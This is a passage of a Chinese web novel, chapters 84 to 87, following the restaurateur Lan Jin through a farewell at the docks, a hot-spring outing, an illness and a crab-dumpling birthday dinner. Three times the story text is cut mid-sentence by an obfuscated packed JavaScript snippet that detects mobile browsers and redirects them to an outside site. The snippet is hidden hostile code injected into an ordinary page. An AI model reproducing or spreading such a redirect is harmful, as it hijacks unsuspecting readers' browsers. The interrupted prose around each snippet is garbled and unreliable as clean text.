蓝锦看见了，开口道：“其实该用海鱼的。咱们自家的海捕商队刚刚试航，海鱼还供不上。要是用海鱼，汝月也不必这样辛苦地剔刺了。” “师父，不是这个缘故。是我从前不常吃鱼，学了这么久，还是不习惯，嘴笨。” “又这样说自己！你还听不听我的话啦？”蓝锦佯怒。 “听的，听的。”汝月赶紧改口。 悟雅爽朗笑道：“哎呀，掌柜的爱听你说嘴聪明！你瞧，你长了一双聪明手，怎么会没有一个聪明嘴？” 看汝月又去夹了一块鱼肉，才赶紧道：“我不跟你说了，一会鱼都给你抢没了！” 又是有菜有鱼，有皮有肉的顶配一口。 急急地吹上几口气，酸甜鲜味更浓。 高温的煎炸让鱼肉的表皮化成一个称职的壳子，失水而焦，锁住了鱼肉里头鲜嫩丰沛的汁水。 即便比起其他肉类，鱼肉的脂肪不算多。 可皮下的胶质，也让边缘的肉，带上了一些油润的黏嘴感，让人欲罢不能。 牙齿对上三重口感的一刹那，酸甜汁和油脂在嘴里迸溅。 细腻的鱼肉铺满舌面，焦硬的鱼皮给配菜丝增香，爽脆软嫩的配菜丝勾人嚼了又嚼。 美味，解馋，满足。 悟雅摸摸圆肚皮：“嗨，萧探花不如我有口福，偏偏今天没来，叫我们捡个正着！” 蓝锦正把盘中的菜丝聚到一处，蘸满了盘底的酸甜汁，搁在米饭上，拿筷子卷成一团，塞到嘴里闭眼细嚼。 她给悟雅解答疑问：“鲥鱼的事有惊无险，可账本的事才是不尴不尬的。估计萧家正关起门来，跟清珩秋后算账，顾不上来蓝记了。” 悟雅张大了嘴巴：“啊？那三姑娘不是太惨了点？娘子不是讲，什么大锅底下撤柴禾，进了宫，二皇子那事就过去了吗？” 蓝锦搁下饭碗，笑道：“是釜底抽薪。你以后跟小秋一起上学堂吧！总说些怪话出来逗我笑。” 悟雅不停摆手：“我不干我不干，我不要背书，不要夫子打手板。” 小秋直言不讳地拆台：“我们夫子是好人，她从不打人手板。” 汝月给她打圆场：“人总有擅长的。悟雅的算数就极好，那水平去学堂做先生也使得。” “只是，军粮的事，进了一趟宫，献了一些新吃食，真就这么痛快地过关了？” 在场也没外人，蓝锦掰开了讲：“其实也算是凑了个巧。圣人急需向臣属证明，吃食也能干正事，要找回鲥鱼风波里丢的场子罢了。” “总归还是二皇子搬起石头砸自己的脚。他若不想借鲥鱼害人，就不会惹圣人不快。若不是中伤我们食饷司，我们也不会趁势面圣推新。” “他文不成武不就的，靠的不就是圣人的偏爱？他看不清，总想跟大公主掰腕子。反倒胡乱出招，失了圣心，可不就只能竹篮打水一场空。” 悟雅听着小娘子绕来绕去，一拍大腿：“反正就是人人都没事，唯有萧姑娘倒霉！唉，我还挺盼着她来我们蓝记的！” 蓝锦笑了：“你放心，萧姑娘不会有事，我自有安排。说不得，咱们以后就能吃上海鱼了。” 84. 第84章 “嗳，桂花糕，新做好的桂花糕。” “糖葫芦嘞——” “客官，带一份炒栗子吧！今年刚下来的新栗子，刚炒好的还热乎着......” 宽阔的河道上，桅杆交错，帆影重重。 大大小小的船只靠岸卸货，码头上人来人往，一趟趟搬运沉甸甸的粮食袋，堆满木箱的鲜蔬、布匹...... 热闹的摊贩叫卖声，掺杂在码头的劳动号子里，口音纷杂难辨。 专供行旅落脚登船的驿站旁，孤零零立着一株黄得发枯的柳树，叶子都所剩无几。 蓝锦笑着握住萧清珩的手，打趣道： “咱们合该做大俗人，连灞桥柳都不肯赏光。” “欺负我不是正经文人，只会赚些阿堵物，不懂那些‘杨柳依依’的！” 方才还神情郁郁的萧清珩“扑哧”一笑： “我二哥成日里最正经了，得叫他给我写诗，也泪水涟涟地送我才好。” 在场的各位想想那个场景，无不满头冷汗。 萧清珩踮起脚尖，探头探脑。 那个萧仁禹果然没来送她，连母亲都没来。 只有蓝记的姐姐妹妹把她围住，这个给她递吃的，那个帮她整衣衫。 蓝锦只递给她一把锋利的匕首： “我专门请人打的，贴在靴筒里，不起眼，又好拿。虽说此行有不少练家子......你权当放个安心。” 萧清珩慢慢接过。 蓝记商队的大船崭新威武，新漆的乌字煞是显眼，已在岸边等着萧清珩。 船上有不少她的侠女姐妹，皆是长辈上门请托蓝锦和大公主，送出去避避风头的。 如今她们都与家人送了又送，告别了又告别，一轮等一轮，只留下萧清珩还在码头磨蹭。 蓝锦一刮她的小鼻子：“不高兴呀？” “在家时还信誓旦旦，生怕我不愿让你加入商队，如今反悔啦？” “倘若心中有疑虑，不必急着出门，萧家也不是护不住你。” 萧清珩下巴一扬：“我没有！他们，他们太可气了。” 蓝锦笑道：“是是是。虽然有人不支持你做的事，可我仍然欣赏你的哦。” “你在官宦手里受了挫，不代表不合适其他地方呀。” 萧清珩抬眼望她：“蓝姐姐，你真这样觉得吗？” 往日她听说有出远门的机会，不知该有多开心，绝对斗志昂扬地挥鞭去了。 如今踌躇犹豫，一大半是因为家人的否定，难免对自己失了信心。 “当然呀。你策划得好，指挥得也好，断后也好。带出去的女娘，都全须全尾带回来了。” “经了这么大的风浪，如今她们还愿意听你的，还想跟你走。你说，这不是了不起的本事吗？” 萧清珩又振奋起来，握着蓝锦的手激动地说： “蓝姐姐，若你真是我姐姐多好。哼，他们不来送我，我自有姐姐送。” “我就去海上大展手脚，非要弄来一些他们也不曾见过的好东西，看他们还敢对我横眉竖眼的吗！” 蓝锦失笑。 她是给萧清珩画了些图纸的。 不过，究竟能找来多少，还是全凭天意了。 “那边的姐姐！我要一块桂花糕！” 萧清珩抱着一块糕，跳着往大船走去，发丝甩在空中，像一张蓄满力的弓。 转回身来，把糕衔在嘴里，举着两只胳膊向蓝锦她们挥手。 蓝记的姐妹们也与她挥手作别：“一路顺风，一路平安啊！” 萧清珩一把拿走桂花糕，大声道：“当心风大，都快回去吧！等我们的好消息啊！” 远处长街的转角，蒋长昭一把放下了车帘子，撇过头去。 “还是这么不着调。” 又转过脸来问萧仁禹：“府兵可都上船了？” “丙一带队，都是擅水战的精锐，已经和大公主拨下的侍卫会合了。” 蒋长昭长叹了一口气：“净是些没良心的讨债鬼啊。” * 蓝记商队出海的消息，像茫茫大海上的漩涡，无声无息地湮没了。 梁若虹倒是怅然了好一阵子：“女儿大了。” 蓝锦倒腾着晒桂花，蒸花露。 家中库房的精致玩意，到她手里才终结落灰的命运。 “女儿大了，女儿大了！” 廊下的红嘴绿鹦哥学舌不停。 梁若虹叫这滑稽的一打岔，此刻也沉湎不下去了。 “长昭也是不容易，有空多请她来家。互相陪着，好歹热闹热闹。” 蓝锦吐吐舌头，她本来还打算自己买个几进的院子，带上小秋搬出去，做个有恒产的潇洒女娘。 经此一桩，恐怕提都别提，直接叫老夫人打回来了。 “楼里新出了一批桂花酿，我尝着倒香甜，也不醉人。如今天气也转凉了，要不就去清樨池，一起喝喝酒，泡香汤？” “这个好。” 两家约了日子，浩浩荡荡地往云涧谷赶去。 此地在天都近郊。雾蒙蒙的秋日树林，金黄中点缀着橙红的枫叶。 还未到寒冷的时节，一阵风吹过，只觉一点战栗的爽快，驱扫胸中的郁气。 谷中温泉林立之处，就是清樨池。 此处不乏富丽华美的私宅，历来是天都显贵追捧的地方。 里头引了地热泉，回廊环池，亭台相望，雅致静谧。 梁老夫人历来不吝享受，蓝锦也是会赚爱玩的。 蹭上了家里的便宜，排场更是浩大。 一行人带着仆役，调香的，弹琴的，唱戏的，侍汤的，乌泱泱来了一大群。 碧桃领着大家安置，有条不紊，设香炉茶案，铜镜妆匣。 梁老夫人拈起一枚柿饼来吃，一指碧桃：“我爱吃这个，尤其是上头裹满了糖霜的，咬起来又甜又糯。偏她不叫我吃。” 小秋立即举起咬了一口月牙印的柿饼：“我的让给外祖母吃！” 梁若虹只慈爱地摆手：“你吃，你吃吧，这里的够我吃了。” 蓝锦和蒋长昭都笑了。 蒋长昭只道：“还是我们秋姐儿贴心贴肺，什么都想着你，念着你。” 梁若虹开解她：“你家二郎还不够贴心？瞧这一表人才的大忙人，还来陪咱们这些聒噪的人出游！” 萧仁禹坐在亭台一角的几案前，安静吃着蓝锦带来的绿茶酥，并没有参与谈话的打算。 蓝锦闻言上前，笑道：“姨母尝尝我们酒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15618836|171016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 楼新出的酥点，一份六色。都是用茶做成的，很是清雅。” 梁若虹也接口： “是极。那个红茶的最好，里头裹了豆沙。那个黄色的，里头竟掺了柚子。咱们只拿它熏香，谁想到锦娘拿它做点心。” 蒋长昭的注意力，果然放到了点心匣子上头。 说笑间，碧桃来回话。 香丸，花瓣，瓜果，衣衫都备好了，汤池也收拾妥当。 梁若虹选了北边的藏香池，把主院的瑶光池让给了蒋长昭，嘱咐丫鬟好生照顾。 蓝锦本来要跟着梁若虹一起，叫打出去了。 “这是老人家用的药浴，小孩子不兴这个。” 她只好自己带着小秋去东边的香云池。纱幔缥缈，有花果香，也很不错。 沿着青玉阶，甫一探进池水，温热的舒畅袭遍四肢百骸。 可惜小秋不争气。 刚才吃了太多糕饼，只玩了一会水，就窝在蓝锦的怀里不住点头。 合欢过来接手，把她抱去卧房睡了。 蓝锦抿了几口桂花酿，拨弄着花瓣，渐渐也觉无趣。 贵人们的享受，就是这么舒服得近乎乏味，理直气壮的无聊呵！ 她故技重施，蹑手蹑脚地猫出门去。 暮色渐沉的小路上，不经意撞到一个坚硬的胸膛。 “哎哟！”蓝锦抚着自己脑门，抬头对着面前的萧仁禹问道，“你也不好好泡汤？” 两人对视一会，皆想到去小厨房偷吃炸酱面那次，都笑了。 “快走，别叫她们发现了。我知道家里带了好羊腿。” 贵人们的晚膳一向是早早送到汤池旁的，在跟前温着。 泡汤时可以吃，出浴后也是待在屋子里用，防止受了寒。 此刻小厨房空无一人，蓝锦不费吹灰之力就掏出了一根大羊腿。 这回蓝锦全程没动手，只动动嘴皮子，全指挥萧仁禹做了。 他劈柴，蓝锦就欣赏他鼓鼓的臂膀。 他架篝火，蓝锦就看他专注的眉眼。 铁架上的羊腿肉，在高温的作用下蜷曲收紧。 肥美的羊油顺着羊腿的纹理，淌过精瘦的部分，滴落在炭火上。 每每发出“嗤啦”一声，直叫火星迸溅，油香四溢。 萧仁禹半蹲在篝火旁，尽职尽责地让热气舔舐羊腿的每一处。 为防焦糊，不用明火，只用炭温慢烘。 漫天星空下，就这样慢悠悠的，闻着烤羊腿的香气，有一搭没一搭地闲话着。 羊腿表面逐渐形成一层焦脆的壳，香味越来越浓。 蓝锦爱吃鲜嫩多汁的，在此刻叫停。 烤羊腿这样横的菜，又是新鲜宰杀腌制的，压根不需要多余的调料。 盐、孜然是必须，其他都是锦上添花。 卸下来的羊腿滋滋作响，油光发亮。 刚撒上盐，就烫得它融化进肉隙里。 孜然的香气，让羊腿肉的荤鲜翻上了好几个台阶。不见膻气，只余浓郁霸道的肉味。 偶有几处灰褐的焦边，那更是肉中极品。 不仅吸饱了炭火烟熏气，所有的调料都化成汁聚集到此处。 还像被自身沁出的羊油炸过一般，酥脆鲜香。 85. 第85章 一刀下去，肉汁子顺着刀口奔涌而出。 酥硬的外皮下，是紧致弹嫩的羊肉。再往里一点，羊肉更嫩更润，饱满的汁水汩汩溢出。 蓝锦接过萧仁禹片下来的羊肉，迫不及待地放进嘴里。 瘦肉部分紧实有口感，却不会干柴。 嚼上几下，就肉汁满口，软得快要化了。 肥润的羊油已经完全烤去了腻感。 牙齿破开微硬的表皮的那刻，油脂像水一样涌动，瞬间在嘴里迸发。 香酥配嫩滑，蓝锦拼着烫口，不断在嘴里哈气，也不愿停下来。 * 灶间少的一只羊腿，还不知道有没有叫长辈们发现。蓝锦就先悲伤地发觉，她脑袋昏沉，鼻子塞滞，上下眼皮子打架，怕冷得厉害。 “营卫不和，外感风寒。” 随行的医官对着满脸关切的众人下了结论。 昨日泡了温泉，溜出去散了热气。又在小院里坐着吹风，啃羊腿。 一冷一热，可不是要感冒了。 小秋叫碧桃拦住了，在窗外关切地看着。 蓝锦还有心思冲她笑着招手，让她不要担心。 她其实许久没有生病了，这下浑身肌肉酸痛。 恹恹的，脑袋发木。 饶是这般，还是惦记着早日归家。 ——蓝记订出去了好些大宴，需要她去盯着，可别出什么岔子砸了招牌。 “一时半会就别想着挪动了。且老实待在这里，我们都在这陪着你。”梁若虹坐在床边，给她掖被角。 “可有什么想吃的？得了伤寒，只怕胃口不好。”蒋长昭也是满脸不忍。 那可未必。 不管是前世还是如今，蓝锦哪怕是重感冒，咽痛咳嗽，呼吸都费劲，胃口仍好得能吃下一头牛。 她懒洋洋的，从被子里露出半张脸，小声呢喃：“想吃烤鸭。” 梁若虹皱起眉来：“胡闹！还惦记吃这些油腻荤腥。我可从合欢那问出来了。” “有人夜半还不歇下，偷跑出去吃什么劳什子羊肉。吃得满嘴油光，那孜然粒和肉渣子还挂在袖口上！” “已是泡了热汤，心里怎么没个数？还跟那三岁小孩子一样。这般不爱惜自己，你不生病，谁生病啊？” “我叫厨下炖上白粥，这两日只许吃些清淡的。” 听着语气慢慢柔缓的谴责，蓝锦仿佛失去所有力气，弱弱投降：“好，好吧。” 人在家时，有人看着管着，什么心思都不用费，物质生活得到极大满足。 与之相伴的，就是好像把自个的一部分也交了出去。好多事都不能做主，要由着旁人的生活节奏。 甜蜜的负担，沉重的甜蜜啊。 远处的萧仁禹倒是走了过来： “老夫人，蓝记正打算推专供病人的餐食，已经得了御医的首肯，有百利无一害的。” “我也恰巧见过食方，不如就让我来给锦娘做些清淡汤羹好了。” 萧探花在长辈眼中一向是稳重懂事的。 梁若虹没有什么怀疑，就答应了。 不仅如此，梁若虹和蒋长昭还叫他安排去听戏。 “二位都是长辈，倘若都聚在这个小院里，叫锦娘过了病气，只怕她于心难安，也不利养病。” 路上，梁若虹还跟蒋长昭感叹：“二郎是知事的，一向识大体。” 蒋长昭长舒一口气，道：“这三个孩子，也就他......是我们委屈了他。” “宫里可露出什么意思？” “八九不离十吧。” “只怕那位掌珠也不是好相与的。” “万般都是命，唉。” 细碎的谈话声隐在竹林之后，飘不到小院里来。 蓝锦瞧着萧仁禹端来的虾蓉鸡蛋羹，高兴得摩拳擦掌。 “总算不用吃白粥，我可讨厌那个了！糊涂涂的一喝，嘴里就更没味道了。” “其实你可以直接跟老夫人说的。” “鸠占鹊巢，我心中有愧嘛。总想顺着她才好。” “可你当初执意要开酒楼，也不算顺着她。” “兔子急了还咬人呐。何况，现在她不是支持我了嘛。” “锦娘其实是个很有原则的人。” “倒是你，连御医首肯的话都能编出来，不比我乖到哪里去。” “锦娘在饮食上的造诣，比御医高多了。” 两人你一言我一语。 蓝锦拿勺子，挖一勺虾蓉，再挖一勺蛋羹。 鸡蛋羹轻盈细腻，入口即化。 一看就知道是萧仁禹自己做的，掀开虾蓉，蛋羹表面的气孔一个接一个。 萧仁禹略显紧张：“是不是蒸得不好？” 蓝锦吃吃地笑：“我还想说，你怎么知道我就爱吃多孔的蛋羹。孔越多，酱油就越能沁进去。吃起来浓郁咸鲜，还没有腥气。” 萧仁禹心下稍安：“是锦娘不挑剔。” 蓝锦歪头看他：“我说真的。刚才还以为你又日行千里，跑到蓝记酒楼，找汝月她们偷偷取经了。” 蛋羹是真的好吃。 大抵倾注了柔情的食物总是美味一些。 弹嫩鲜美的鸡蛋，和鲜剁的虾蓉交缠相杂。 饱含着谷氨酸的金黄蛋羹，搭配上释放肌苷酸的鲜红虾肉。 水与陆的鲜味相辅相成，鲜上加鲜。 柔滑的蛋羹因为弹牙的虾蓉小丁，丰富了口感。 爽脆的虾肉，不需要什么调味，自身就带有让人欲罢不能的肉香。 舀上几粒青绿的葱花，再蘸一点芝麻香油，增香提鲜。 萧仁禹含笑看着蓝锦毫不费力地用完蛋羹，还贪恋地喝了碗底的鲜汁子。 上前拿走碗盘，趁势抚了下她的额间。 手掌一触即离：“还好，未曾发烧。锦娘睡一会吧，我在这里。” 蛋羹的量他控制得刚好，不会难以克化。 刚吃好，就睡了，这是多么腐朽惬意的生活啊...... 四下寂静无声，仆从都叫遣散了。 药里或有助眠的成分，病气侵扰下的蓝锦不由自主，真就应声陷入了黑沉梦乡。 萧仁禹看着蓝锦苍白的小脸，瘦出了尖角的下巴尤为明显。 平时一贯雷厉风行的机敏娘子，此刻安静地窝在那里，更叫人心生怜惜。 锦娘还是太辛苦了些。 蓝锦做了一个绵长的梦。 这梦一开始是美的。 她把才貌双全的萧探花拐回了现代，正要摸他的小手。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15624940|171016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 最好再看一看衣衫底下有没有腹肌。 突然狂风大作，转瞬来到一片波涛汹涌的海。 头上是黑沉的云，脚下是灰蓝浪潮上的小舟。 一个跟她长得一模一样的女娘，身着襦裙，泪眼婆娑，水袖渐长： “蓝锦，你抢了我的外祖母，占了我的瑾郎。你还我命来......” 蓝锦一个激灵吓醒了。 薄纱后的女娘骤然坐起，冷不丁叫安静看书的萧仁禹惊了一跳。 “可是有什么不舒服？” 萧仁禹伸出手，探一探她的额头。 蓝锦捂着自己心口，呆呆地听自己的心跳。 萧仁禹柔声道：“做噩梦了？锦娘别怕，你应是起热了。” 他再传医官，又派人安抚被惊动的两位长辈。 如是折腾到了黄昏，蓝锦再次幽幽醒转，才觉精神头回来了一些。 灶上的鸡汤是一直温着的，萧仁禹端给她。 炖鸡的时候去了皮，没有过多的油脂。 蓝锦咂摸着只有一点肉鲜味的鸡汤，无限遗憾：“唉，还是烤鸭好吃。” “刚出炉的，红褐油亮。拿着薄薄一层荷叶面饼。香甜的葱白批成了细丝，爽口的黄瓜条。两三块片好的鸭子。皮酥，油香，肉嫩，皮肉缀连不断。” “蘸了咸味打头，甜味托底的甜面酱。卷成一个细筒，一口塞进嘴里。嚼起来满口流汁，甜咸油润，各种滋味平衡得刚刚好，美味得很！” 甜面酱不许太甜，发腻，粘连，那不行。 葱白不可无味，得要甜脆水润，不许辣口。 顶顶重要的是鸭子。 “得选小眼白羽的白蒲鸭。油、高粱、面粉这些，拌成食料，硬塞到鸭嘴里。” “一日至少三回，如是养上两三个月，才能脂肥肉嫩。” 各地都能做烤鸭。吹鼓了鸭身，也烤得酥黄油亮，打眼一看没甚区别。 但非得是这样的填鸭，才能做出北京烤鸭的味道。费工费料又费时，成本高昂。 鸭子越肥，越能体现师傅的手艺。 只因烤鸭最要紧的，就是把皮肉之间的油脂层，烤得香润不腻。同时外皮不焦不糊，酥香盈口。 不用填鸭，就没有最香美的油脂层。 更有甚者，专门削去烤得失败的脂肪。空打“健康”旗号，实则大失其色。 蓝锦越说越怅惘。何时才能吃上一回正儿八经的北京烤鸭啊！ 萧仁禹静听蓝锦大谈填鸭经，偶尔插一句： “蓝记的每道菜，都要锦娘耗费这样多心血吗？” 蓝锦愣了一下：“也不是，是填鸭太麻烦。我都没敢试。” 萧仁禹建议道：“锦娘的生意已经做得很好了，有时也不须事必躬亲。” “我也叫汝月和吴婶管了其他店呀。” “我是说，锦娘可以只做别人替不了的活。就像今日，盯宴席这样的事，交予旁人也没什么的。更何况，你还生着病。” 蓝锦若有所思。 夜幕四合，饶是两家再亲近，萧仁禹也不便待下去了。 最后关头，蓝锦一把抓住他的衣角，小声道： “从前那个我，会唤你瑾郎吗？” “绝无可能。” 86. 第86章 秋意渐浓，天高云淡，枫染绯红。 偶有几只鸟雀驻足，带落几片黄叶。 马车骨碌碌行过林间小道。 蹄声哒哒，向着天都南郊大孤山上的普觉寺驶去。 青石板的尽头，是一株缀了累累红果的山楂。 黄与红交错，叫灰白的山门无端亲切了起来。 蓝锦越过勤勉扫叶的小师父，满布枯荷的小池，寻到了常乐师太的静心堂。 “叨扰师太。”蓝锦双手合十，恭谨问礼。 常乐慈眉善目：“施主无须多礼，且请入座。” 炉间煮了清茶，没有如时兴那般，搁了葱姜橘枣，连吃带喝，只是乡间清茶而已。 “自家使炭烘的茶饼，施主可还习惯？” 蓝锦仔细抿过，笑着点头。 茶不过品了几口，两人便进入了正题。 “此前给师太的信里提到的生意，师太可曾拿定了主意？” 蓝锦搁下茶盏，语气也像周遭的檀香一般柔缓。 “施主希望与我普觉寺的比丘尼联手，开一间安养产妇与新生婴孩的静月坊，这本是积德行善的好事。只是......” 常乐不能免俗地端详了一番面前的年轻女娘。 这般年轻，只怕还是闺中扑蝶，不知世事的年岁。 蓝锦笑眯眯地递与她一份蓝记的宣传册。 上头详细写了三家酒楼的选址、客量，主推菜品的客人点评，甚至还有每月流水增速。 “师太请看，我这三家酒楼，盈利逐月增加至少一成，若遇节庆，只有更多。” “师太鼓励寺里的师父们，游走于高门贵妇之间，讲经作文，刺绣医病。既造福信众，又能改善寺里的生活，我打心底里佩服。” “实不相瞒，蓝记确实是看上了普觉寺在天都贵妇间的口碑。不过，蓝记也是与您合作的大好人选。” 常乐师太敛眉细思，也是出于一片真心：“往高门绣户行走，虽则师父们都问心无愧。可大张旗鼓地传到旁人耳中，只恐招来是非。” “小娘子身在闺阁，正值妙龄，还是不沾染为好啊。” 蓝锦心下一片清明：“我知世人对‘三姑六婆’的污名。然君子自知，深宅女娘们因此身心愉悦，寺里经营也少了负担，如此还不够吗？” 常乐念了句佛，还是摇头。 蓝锦又拿出一份详尽的静月坊企划案，其上图文并茂，详述了三十日的安养流程。 尤其是每日轮换的膳食，各不重样，还按照不同体质，分了备选套餐。 这是蓝锦从上回生病时信口胡诌的病号餐里得到的启发。 蓝锦娓娓道来：“各种职事的酬金，都写在上面了。蓝记名下的食店不需交税，我再额外给寺里两成利。” “先从天都贵人家的生意做起。若开得起来，每位产妇五十两银子。” “有了得利，再惠及贫家女娘。尤其是女婴，我还有个慈幼院，专为大公主的食饷司培养......” 常乐师太还沉浸在蓝锦大言不惭的“五十两”里，久久不能平静。 平民百姓，一月花用五百文，便能活得体体面面了！ 蓝锦注意到了师太的吃惊，只觉有戏，语调更是高昂： “静月坊不止提供衣食住行的服务，要力图让产妇有度假之感。” “我们还会继续培育专业的女医，陪护......既能为需要的女娘提供进项，又能纾解产妇的郁结，还能让人丁更康健......” 百倍的差价又如何？ 现代的月子中心，一月要价二十万，都是基础档位。 需求都是被制造出来的。 蓝锦不仅要做静月坊，还要把静月坊做成天都名店。 叫那些高门大家长们，都以送家中产妇来此安养，作为社交场上的地位象征。 至于从这些富户手中赚来的钱嘛...... 啧啧，那用途可就多了。 常乐师太坚决道：“小施主还是莫要沾染这些事了。若按照你的设想，这件事也不是一年半载能做成的。” 蓝锦磨破了嘴皮子，仍旧不能说动师太一分一毫。 她怏怏的，看着路边的蓬尾松鼠“咻”地一下蹿过，躲进落叶丛里不见动静。 终究还是她太面嫩了吧！ 马车还未驶进朱雀大街，就迎面遇上了高头大马上的萧仁禹。 他认出了蓝锦的马车，放缓马蹄，亦步亦趋地跟在车旁。 “锦娘似有郁色？” “唉，别提了。”蓝锦以手支颐，斜倚窗棱，“我这不是在找别人替不了的活做嘛。碰上一位倔强的师太，无论如何也不愿跟我联手做生意。” 萧仁禹颇感无奈。 他提那句只是为了让她少忙些，谁知锦娘又在开疆拓土了。 他心念一转，状似淡然地提议：“今日是我的生辰，锦娘可愿与我一同庆贺？” 蓝锦笑眼亮闪闪的：“八月十五？之前都未曾听你提过。” 倒是七夕那日，她的生辰，他又偷偷在自己枕边放了一个画匣。 一幅少女春嬉图，正是上巳踏青那日的情状。 “自然要的。哎，这下措手不及，我都没准备什么生辰礼。” “锦娘与我一起用饭谈心，就已经够了。” 那也不能太简便。 蓝锦风风火火地赶回蓝记。 就是这么巧，蟹来了！ 心心念念的大闸蟹，顶盖的黄已是质硬味浓。 即便是在现代，也是普通人家的餐桌上，极奢侈的食材了。 秋日里，许多人千里迢迢奔赴最负盛名的养蟹湖。 专门去寻农家养蟹人的家常小馆子，甚至跟着船去湖中心吃。 结果——客人前脚下了车，螃蟹后脚才从冷鲜箱里下了水。 洗澡蟹的名声闹得众说纷纭，沸沸扬扬，依然挡不住食客前赴后继的热情。 大闸蟹的美味可见一斑。 如今可没有那些虚头八脑的。 蓝记自养自烹，保准能吃上腮白黄满，最最顶级的大闸蟹。 气宇轩昂的大螃蟹个个鲜活，张牙舞爪，精气神十足。 已经分门别类地归置好，按重量细分。 无论公母，二两以上的只做清蒸。 叫寿星满手腥气地剥螃蟹，未免太过不体面。 蓝锦把螃蟹蒸上，拆了蟹粉、蟹膏、蟹肉备用，做蟹黄汤包。 厨灶间，伙计们有条不紊地挪动着蒸笼蒸锅。 拆蟹刮肉一条龙，好不热闹。 香气一路打着旋儿飘远，勾起酒楼外无数人驻足。 专 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15631921|171016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做白案的师傅们，手下生风，不一会儿就把柔软的面团收拾妥当。 放了蛋清和碱水的面团，微微发黄，口感更筋韧弹牙。 猪背上的好皮，洗刮干净。 使小镊子耐心地揪掉最后的杂毛，这是蓝锦教徒的标准。 猪皮焯水煮烂，加入文火慢炖的高汤。 汤是使猪筒骨和老母鸡吊的，全天火不间断。 加入虾子油，味极鲜和去腥增香的葱姜，将猪皮汤的鲜美拔高一阶。 搁到成冻。裹进汤包里，蒸好了就是水汪汪的肉汁。 蟹无姜不鲜。 把海量姜汁，配上透亮的豆油，在热锅里“嗞拉嗞拉”地烧起来，放入拆好的蟹粉、蟹黄慢熬。 蟹黄汤包讲究现包现吃。 厨房里的组合，无一不是一人和馅，一人擀剂，一人手指翻飞地包包子。 皮薄馅大，一大坨肉馅塞了满手。 手似蝶飞，褶子方正漂亮，卖相满分。 锅中的热气翻涌蒸腾，一笼笼大包架上锅去。 只消一会，蟹香扑鼻。 蓝锦端下专给萧仁禹做的那份。 碗口大的包子，在蒸笼里晃悠不住。 简直要突破了一层薄衣，喷涌而出。 使高脚白碟装着，拿芦苇细管一戳破—— 金黄的蟹油裹着蟹膏，夹缠着雪白的蟹肉，夺命狂奔。 蓝锦俏皮道：“这个要先开窗，后喝汤，最后一扫光。” 当着萧仁禹的面，把放在蟹黄汤包凑到嘴边。 一小口咬破它的皮，轻轻啜饮一口。 汤鲜味美，荤香油润，蟹味丰盈，唇齿留香。 蓝锦满意至极：“如此才不辜负风物，叫这些大自然的馈赠走得不冤。” 萧仁禹叫她逗得直笑。 蓝锦惬意地畅想道：“河里的蟹，这个算顶级。海里还有用来吃肉的蟹，不拘大小。” “炸了裹上面包糠，是一种叫‘避风塘’的做法。” “还有鲜红的，外头一层裹着蛋花的酸辣芡汁，是南洋风味的辣椒蟹......” 金灿灿，黄澄澄，红艳艳的...... 光是想一想就要流口水。 “哎，也不知清珩何日归家，能不能找到这些好吃的带回来。” 萧仁禹全程含笑听着。 锦娘一定见识广博。 他轻问道：“为何上次，锦娘要问我称呼的事？” 蓝锦愣了一愣，这才想起。吐吐舌头：“许是我自己吓唬自己吧。” “是我没能让锦娘安心。” 萧仁禹搁下筷子，正色道：“我在很小的时候，就知道自己有一桩口头婚约。虽然两家交好，可我心中一直不喜。” “先是排斥莫名的责任，后来又觉是阻我从军的负担。我竟想过，凭什么不是落到兄长头上。我们从未谋面，未换姓字，就只因为年纪相仿吗？” “后来发生了许多事，锦娘你也知晓......” 弃武从文，孤女流落...... 蓝锦也默然，怜惜与涌动交织。 以及不可否认，她有一种冒名顶替的羞惭。 “事情太多，我可能是想着，你的感情也比较复杂......” “锦娘，我还不至于看不清。” 87. 第87章 螃蟹的滋味，一经品尝，便久久装饰着食客的梦。 薄皮的面皮麦香扑鼻，浓郁鲜香的蟹汁充盈唇齿间。 蟹黄带着一点点黏糯，十足的鲜，韧滑的弹。混着油润的猪肉，荤香在口腔中留恋不去。 金黄的油脂裹住了舌，糊住了喉，一路鲜到胃肠里。 舌尖细咂，还有一股若有若无的回甜。 佐醋吃是解腻增鲜，空口吃是蟹香纯正。 狼吞虎咽，美味得让人吃完还觉腹中空空，只想再来一个。 执着地用剩下的一口包子皮，裹盘底的那一点肉汤。 拜大闸蟹所赐，蓝锦不再做噩梦，要做也只做吃饱喝足的餍足美梦。 她往头上插上一枚翠玉簪，左右看看镜中女娘的仪容。 “好看的，姑娘平日不爱打扮，其实收拾起来立刻光彩照人，定不输婚宴上的女娘家。” 